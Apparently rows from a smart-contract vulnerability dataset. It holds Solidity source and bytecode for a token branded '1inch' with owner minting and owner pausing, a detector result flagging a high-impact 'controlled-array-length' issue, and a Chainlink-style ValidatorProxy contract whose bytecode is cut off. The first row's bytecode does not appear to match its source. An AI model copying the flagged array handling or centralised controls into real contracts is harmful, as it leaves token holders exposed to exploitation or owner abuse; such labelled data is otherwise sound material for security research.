╙╙▀▓███████████████████████▀▀╙
└╙╙╙▀▀▀▀▀▀▀▀▀╙╙└
██╗██╗███╗ ██╗ ██████╗██╗ ██╗ ████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗
███║██║████╗ ██║██╔════╝██║ ██║ ╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║
╚██║██║██╔██╗ ██║██║ ███████║ ██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║
██║██║██║╚██╗██║██║ ██╔══██║ ██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║
██║██║██║ ╚████║╚██████╗██║ ██║ ██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║
╚═╝╚═╝╚═╝ ╚═══╝ ╚═════╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝
*/
pragma solidity 0.5.10;
/*
* 1inch Network
* https://1inch.io/
*
* The 1inch Network unites decentralized protocols whose synergy enables the most lucrative, fastest and protected operations in the DeFi space.
* A protocol that facilitates cost-efficient and secure atomic transactions by utilizing a wide range of protocols and performing argument validation and execution verification.
* A next-generation automated market maker that protects users from front-running attacks and offers capital efficiency to liquidity providers.
* A decentralized autonomous organization that governs the 1inch Network, enabling 1INCH stakers to vote for key protocol parameters and take part in the network's governance.
* As a governance and utility token, 1INCH facilitates multiple tokenomics. It enables users to govern protocols and participate in the network's evolution and serves as a connector utility token in the 1inch Liquidity Protocol for high-efficiency routing.
*/
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error.
*/
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "Caller is not the owner");
_;
}
function isOwner(address account) public view returns (bool) {
return account == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "New owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
/**
* @title MinterRole
* @dev role for addresses who has permission to mint tokens.
*/
contract MinterRole is Ownable {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
modifier onlyMinter() {
require(isMinter(msg.sender), "Caller has no permission");
_;
}
function isMinter(address account) public view returns (bool) {
return(_minters.has(account) || isOwner(account));
}
function addMinter(address account) public onlyOwner {
_minters.add(account);
emit MinterAdded(account);
}
function removeMinter(address account) public onlyOwner {
_minters.remove(account);
emit MinterRemoved(account);
}
}
/**
* @title HalterRole
* @dev role for addresses who has permission to pause any token movement.
*/
contract HalterRole is Ownable {
using Roles for Roles.Role;
event HalterAdded(address indexed account);
event HalterRemoved(address indexed account);
Roles.Role private _halters;
modifier onlyHalter() {
require(isHalter(msg.sender), "Caller has no permission");
_;
}
function isHalter(address account) public view returns (bool) {
return(_halters.has(account) || isOwner(account));
}
function addHalter(address account) public onlyOwner {
_halters.add(account);
emit HalterAdded(account);
}
function removeHalter(address account) public onlyOwner {
_halters.remove(account);
emit HalterRemoved(account);
}
}
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* See https://eips.ethereum.org/EIPS/eip-20
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0));
_balances[account] = _balances[account].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(amount));
}
}
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for.
*/
contract ERC20Burnable is ERC20 {
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
/**
* @dev Extension of {ERC20} that adds a set of accounts with the {MinterRole},
* which have permission to mint (create) new tokens as they see fit.
*/
contract ERC20Mintable is ERC20Burnable, MinterRole {
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
}
/**
* @dev Extension of {ERC20} that adds a possibility to temporary prevent any token movements.
*/
contract ERC20Haltable is ERC20Mintable, HalterRole {
bool public paused;
event Paused(address by);
event Unpaused(address by);
modifier notPaused() {
require(!paused);
_;
}
function pause() public onlyHalter {
paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyHalter {
paused = false;
emit Unpaused(msg.sender);
}
function _transfer(address from, address to, uint256 value) internal notPaused {
super._transfer(from, to, value);
}
function _mint(address account, uint256 value) internal notPaused {
super._mint(account, value);
}
function _burn(address account, uint256 amount) internal notPaused {
super._burn(account, amount);
}
}
/**
* @title ApproveAndCall Interface.
* @dev ApproveAndCall system allows to communicate with smart-contracts.
*/
interface IApproveAndCallFallBack {
function receiveApproval(address from, uint256 amount, address token, bytes calldata extraData) external;
}
/**
* @title The main project contract.
*/
contract OneInch is ERC20Haltable {
string private _name = "1inch";
string private _symbol = "1INCH";
uint8 private _decimals = 18;
uint256 internal constant _emission = 1500000000 * (10 ** 18);
mapping (address => bool) private _contracts;
bool public mintingFinished;
mapping (address => uint256) internal holderMap;
address[] public holderList;
modifier onlyMinter() {
if (mintingFinished) {
revert();
}
require(isMinter(msg.sender), "Caller has no permission");
_;
}
constructor() public {
_addHolder(address(0));
}
function _transfer(address from, address to, uint256 value) internal {
if (value != 0) {
if (holderMap[to] == 0) {
_addHolder(to);
}
if (balanceOf(from).sub(value) == 0) {
_removeHolder(from);
}
}
super._transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _emission);
if (value != 0 && holderMap[account] == 0) {
_addHolder(account);
}
super._mint(account, value);
}
function _burn(address account, uint256 amount) internal {
if (balanceOf(account).sub(amount) == 0) {
_removeHolder(account);
}
super._burn(account, amount);
}
function _addHolder(address account) internal {
holderList.push(account);
holderMap[account] = holderList.length.sub(1);
}
function _removeHolder(address account) internal {
if (holderList.length > 1) {
holderList[holderMap[account]] = holderList[holderList.length.sub(1)];
holderMap[holderList[holderList.length.sub(1)]] = holderMap[account];
}
holderMap[account] = 0;
holderList.length = holderList.length.sub(1);
}
function approveAndCall(address spender, uint256 amount, bytes memory extraData) public returns (bool) {
require(approve(spender, amount));
IApproveAndCallFallBack(spender).receiveApproval(msg.sender, amount, address(this), extraData);
return true;
}
function transfer(address to, uint256 value) public returns (bool) {
if (_contracts[to]) {
approveAndCall(to, value, new bytes(0));
} else {
super.transfer(to, value);
}
return true;
}
function registerContract(address addr) public onlyOwner {
require(isContract(addr));
_contracts[addr] = true;
}
function unregisterContract(address addr) external onlyOwner {
_contracts[addr] = false;
}
function finishMinting() external onlyMinter {
mintingFinished = true;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function isRegistered(address addr) public view returns (bool) {
return _contracts[addr];
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function amountOfHolders() public view returns (uint256) {
return holderList.length.sub(1);
}
function holders() public view returns (address[] memory) {
return holderList;
}
}
|
0x608060405234801561001057600080fd5b50600436106100885760003560e01c806370a082311161005b57806370a08231146101fd578063a457c2d714610255578063a9059cbb146102bb578063dd62ed3e1461032157610088565b8063095ea7b31461008d57806318160ddd146100f357806323b872dd146101115780633950935114610197575b600080fd5b6100d9600480360360408110156100a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610399565b604051808215151515815260200191505060405180910390f35b6100fb6103b0565b6040518082815260200191505060405180910390f35b61017d6004803603606081101561012757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506103ba565b604051808215151515815260200191505060405180910390f35b6101e3600480360360408110156101ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061046b565b604051808215151515815260200191505060405180910390f35b61023f6004803603602081101561021357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610510565b6040518082815260200191505060405180910390f35b6102a16004803603604081101561026b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610558565b604051808215151515815260200191505060405180910390f35b610307600480360360408110156102d157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105fd565b604051808215151515815260200191505060405180910390f35b6103836004803603604081101561033757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610614565b6040518082815260200191505060405180910390f35b60006103a633848461069b565b6001905092915050565b6000600254905090565b60006103c78484846107fa565b610460843361045b85600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109c490919063ffffffff16565b61069b565b600190509392505050565b6000610506338461050185600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109e490919063ffffffff16565b61069b565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006105f333846105ee85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109c490919063ffffffff16565b61069b565b6001905092915050565b600061060a3384846107fa565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156106d557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561070f57600080fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561083457600080fd5b610885816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109c490919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610918816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109e490919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000828211156109d357600080fd5b600082840390508091505092915050565b6000808284019050838110156109f957600080fd5b809150509291505056fea265627a7a7230582068aec8ef145dc54530857c7bf9f754fbfae3b2076870220cdcfad307d221c43064736f6c634300050a0032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 2,680 |
0x5b24ea09de554175dd5431533aad223c7c3583e4
|
/**
*Submitted for verification at Etherscan.io on 2022-01-17
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface AggregatorValidatorInterface {
function validate(
uint256 previousRoundId,
int256 previousAnswer,
uint256 currentRoundId,
int256 currentAnswer
)
external
returns (
bool
);
}
abstract contract TypeAndVersionInterface{
function typeAndVersion()
external
pure
virtual
returns (
string memory
);
}
/**
* @title The ConfirmedOwner contract
* @notice A contract with helpers for basic contract ownership.
*/
contract ConfirmedOwner {
address private s_owner;
address private s_pendingOwner;
event OwnershipTransferRequested(
address indexed from,
address indexed to
);
event OwnershipTransferred(
address indexed from,
address indexed to
);
constructor(address newOwner) {
s_owner = newOwner;
}
/**
* @notice Allows an owner to begin transferring ownership to a new address,
* pending.
*/
function transferOwnership(
address to
)
external
onlyOwner()
{
require(to != msg.sender, "Cannot transfer to self");
s_pendingOwner = to;
emit OwnershipTransferRequested(s_owner, to);
}
/**
* @notice Allows an ownership transfer to be completed by the recipient.
*/
function acceptOwnership()
external
{
require(msg.sender == s_pendingOwner, "Must be proposed owner");
address oldOwner = s_owner;
s_owner = msg.sender;
s_pendingOwner = address(0);
emit OwnershipTransferred(oldOwner, msg.sender);
}
/**
* @notice Get the current owner
*/
function owner()
public
view
returns (
address
)
{
return s_owner;
}
/**
* @notice Reverts if called by anyone other than the contract owner.
*/
modifier onlyOwner() {
require(msg.sender == s_owner, "Only callable by owner");
_;
}
}
contract ValidatorProxy is AggregatorValidatorInterface, TypeAndVersionInterface, ConfirmedOwner {
/// @notice Uses a single storage slot to store the current address
struct AggregatorConfiguration {
address target;
bool hasNewProposal;
}
struct ValidatorConfiguration {
AggregatorValidatorInterface target;
bool hasNewProposal;
}
// Configuration for the current aggregator
AggregatorConfiguration private s_currentAggregator;
// Proposed aggregator address
address private s_proposedAggregator;
// Configuration for the current validator
ValidatorConfiguration private s_currentValidator;
// Proposed validator address
AggregatorValidatorInterface private s_proposedValidator;
event AggregatorProposed(
address indexed aggregator
);
event AggregatorUpgraded(
address indexed previous,
address indexed current
);
event ValidatorProposed(
AggregatorValidatorInterface indexed validator
);
event ValidatorUpgraded(
AggregatorValidatorInterface indexed previous,
AggregatorValidatorInterface indexed current
);
/// @notice The proposed aggregator called validate, but the call was not passed on to any validators
event ProposedAggregatorValidateCall(
address indexed proposed,
uint256 previousRoundId,
int256 previousAnswer,
uint256 currentRoundId,
int256 currentAnswer
);
/**
* @notice Construct the ValidatorProxy with an aggregator and a validator
* @param aggregator address
* @param validator address
*/
constructor(
address aggregator,
AggregatorValidatorInterface validator
)
ConfirmedOwner(msg.sender)
{
s_currentAggregator = AggregatorConfiguration({
target: aggregator,
hasNewProposal: false
});
s_currentValidator = ValidatorConfiguration({
target: validator,
hasNewProposal: false
});
}
/**
* @notice Validate a transmission
* @dev Must be called by either the `s_currentAggregator.target`, or the `s_proposedAggregator`.
* If called by the `s_currentAggregator.target` this function passes the call on to the `s_currentValidator.target`
* and the `s_proposedValidator`, if it is set.
* If called by the `s_proposedAggregator` this function emits a `ProposedAggregatorValidateCall` to signal that
* the call was received.
* @dev To guard against external `validate` calls reverting, we use raw calls here.
* We favour `call` over try-catch to ensure that failures are avoided even if the validator address is incorrectly
* set as a non-contract address.
* @dev If the `aggregator` and `validator` are the same contract or collude, this could exhibit reentrancy behavior.
* However, since that contract would have to be explicitly written for reentrancy and that the `owner` would have
* to configure this contract to use that malicious contract, we refrain from using mutex or check here.
* @dev This does not perform any checks on any roundId, so it is possible that a validator receive different reports
* for the same roundId at different points in time. Validator implementations should be aware of this.
* @param previousRoundId uint256
* @param previousAnswer int256
* @param currentRoundId uint256
* @param currentAnswer int256
* @return bool
*/
function validate(
uint256 previousRoundId,
int256 previousAnswer,
uint256 currentRoundId,
int256 currentAnswer
)
external
override
returns (
bool
)
{
address currentAggregator = s_currentAggregator.target;
if (msg.sender != currentAggregator) {
address proposedAggregator = s_proposedAggregator;
require(msg.sender == proposedAggregator, "Not a configured aggregator");
// If the aggregator is still in proposed state, emit an event and don't push to any validator.
// This is to confirm that `validate` is being called prior to upgrade.
emit ProposedAggregatorValidateCall(
proposedAggregator,
previousRoundId,
previousAnswer,
currentRoundId,
currentAnswer
);
return true;
}
// Send the validate call to the current validator
ValidatorConfiguration memory currentValidator = s_currentValidator;
address currentValidatorAddress = address(currentValidator.target);
require(currentValidatorAddress != address(0), "No validator set");
currentValidatorAddress.call(
abi.encodeWithSelector(
AggregatorValidatorInterface.validate.selector,
previousRoundId,
previousAnswer,
currentRoundId,
currentAnswer
)
);
// If there is a new proposed validator, send the validate call to that validator also
if (currentValidator.hasNewProposal) {
address(s_proposedValidator).call(
abi.encodeWithSelector(
AggregatorValidatorInterface.validate.selector,
previousRoundId,
previousAnswer,
currentRoundId,
currentAnswer
)
);
}
return true;
}
/** AGGREGATOR CONFIGURATION FUNCTIONS **/
/**
* @notice Propose an aggregator
* @dev A zero address can be used to unset the proposed aggregator. Only owner can call.
* @param proposed address
*/
function proposeNewAggregator(
address proposed
)
external
onlyOwner()
{
require(s_proposedAggregator != proposed && s_currentAggregator.target != proposed, "Invalid proposal");
s_proposedAggregator = proposed;
// If proposed is zero address, hasNewProposal = false
s_currentAggregator.hasNewProposal = (proposed != address(0));
emit AggregatorProposed(proposed);
}
/**
* @notice Upgrade the aggregator by setting the current aggregator as the proposed aggregator.
* @dev Must have a proposed aggregator. Only owner can call.
*/
function upgradeAggregator()
external
onlyOwner()
{
// Get configuration in memory
AggregatorConfiguration memory current = s_currentAggregator;
address previous = current.target;
address proposed = s_proposedAggregator;
// Perform the upgrade
require(current.hasNewProposal, "No proposal");
s_currentAggregator = AggregatorConfiguration({
target: proposed,
hasNewProposal: false
});
delete s_proposedAggregator;
emit AggregatorUpgraded(previous, proposed);
}
/**
* @notice Get aggregator details
* @return current address
* @return hasProposal bool
* @return proposed address
*/
function getAggregators()
external
view
returns(
address current,
bool hasProposal,
address proposed
)
{
current = s_currentAggregator.target;
hasProposal = s_currentAggregator.hasNewProposal;
proposed = s_proposedAggregator;
}
/** VALIDATOR CONFIGURATION FUNCTIONS **/
/**
* @notice Propose an validator
* @dev A zero address can be used to unset the proposed validator. Only owner can call.
* @param proposed address
*/
function proposeNewValidator(
AggregatorValidatorInterface proposed
)
external
onlyOwner()
{
require(s_proposedValidator != proposed && s_currentValidator.target != proposed, "Invalid proposal");
s_proposedValidator = proposed;
// If proposed is zero address, hasNewProposal = false
s_currentValidator.hasNewProposal = (address(proposed) != address(0));
emit ValidatorProposed(proposed);
}
/**
* @notice Upgrade the validator by setting the current validator as the proposed validator.
* @dev Must have a proposed validator. Only owner can call.
*/
function upgradeValidator()
external
onlyOwner()
{
// Get configuration in memory
ValidatorConfiguration memory current = s_currentValidator;
AggregatorValidatorInterface previous = current.target;
AggregatorValidatorInterface proposed = s_proposedValidator;
// Perform the upgrade
require(current.hasNewProposal, "No proposal");
s_currentValidator = ValidatorConfiguration({
target: proposed,
hasNewProposal: false
});
delete s_proposedValidator;
emit ValidatorUpgraded(previous, proposed);
}
/**
* @notice Get validator details
* @return current address
* @return hasProposal bool
* @return proposed address
*/
function getValidators()
external
view
returns(
AggregatorValidatorInterface current,
bool hasProposal,
AggregatorValidatorInterface proposed
)
{
current = s_currentValidator.target;
hasProposal = s_currentValidator.hasNewProposal;
proposed = s_proposedValidator;
}
/**
* @notice The type and version of this contract
* @return Type and version string
*/
function typeAndVersion()
external
pure
virtual
override
returns (
string memory
)
{
return "ValidatorProxy 1.0.0";
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80638da5cb5b116100715780638da5cb5b1461011c57806394ce943b1461013a578063b7ab4db514610156578063beed9b5114610176578063c97f7856146101a6578063f2fde38b146101b0576100a9565b8063181f5a77146100ae57806359112a4e146100cc5780637903677f146100e857806379ba5097146100f25780637ee7f7d1146100fc575b600080fd5b6100b66101cc565b6040516100c3919061180b565b60405180910390f35b6100e660048036038101906100e191906114e5565b610209565b005b6100f0610459565b005b6100fa6106fb565b005b610104610890565b60405161011393929190611782565b60405180910390f35b6101246108fc565b6040516101319190611767565b60405180910390f35b610154600480360381019061014f9190611512565b610925565b005b61015e610b74565b60405161016d939291906117d4565b60405180910390f35b610190600480360381019061018b919061153f565b610be0565b60405161019d91906117b9565b60405180910390f35b6101ae611034565b005b6101ca60048036038101906101c591906114e5565b6112d6565b005b60606040518060400160405280601481526020017f56616c696461746f7250726f787920312e302e30000000000000000000000000815250905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610297576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161028e9061186d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415801561034657508073ffffffffffffffffffffffffffffffffffffffff16600260000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b610385576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161037c906118ed565b60405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415600260000160146101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f5f9c9d260db95e6065c958ac4462171e7a8e70c0c5a7e1864ec8e425c3348de760405160405180910390a250565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104de9061186d565b60405180910390fd5b600060046040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900460ff16151515158152505090506000816000015190506000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082602001516105dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d4906118cd565b60405180910390fd5b60405180604001604052808273ffffffffffffffffffffffffffffffffffffffff16815260200160001515815250600460008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548160ff021916908315150217905550905050600560006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690558073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fb78a7598213b871cdb0b5cf984a129fa34c321bfd3b74073ba5147e0e3f1c33c60405160405180910390a3505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461078b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107829061182d565b60405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6000806000600260000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169250600260000160149054906101000a900460ff169150600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050909192565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109aa9061186d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015610a6257508073ffffffffffffffffffffffffffffffffffffffff16600460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b610aa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a98906118ed565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415600460000160146101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167e2d79d30d9a290b4aa306dc3542d81c243b1f679b4083044b9723d2378600be60405160405180910390a250565b6000806000600460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169250600460000160149054906101000a900460ff169150600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050909192565b600080600260000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d32576000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cca9061184d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff167f5a76b3e9adddfd8f853f50a26cb51f7e4cfef4fbaf1d49df7da37b90119aba7888888888604051610d1f949392919061190d565b60405180910390a260019250505061102c565b600060046040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900460ff1615151515815250509050600081600001519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e249061188d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1663beed9b5160e01b89898989604051602401610e63949392919061190d565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051610ecd9190611750565b6000604051808303816000865af19150503d8060008114610f0a576040519150601f19603f3d011682016040523d82523d6000602084013e610f0f565b606091505b50505081602001511561102457600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663beed9b5160e01b89898989604051602401610f74949392919061190d565b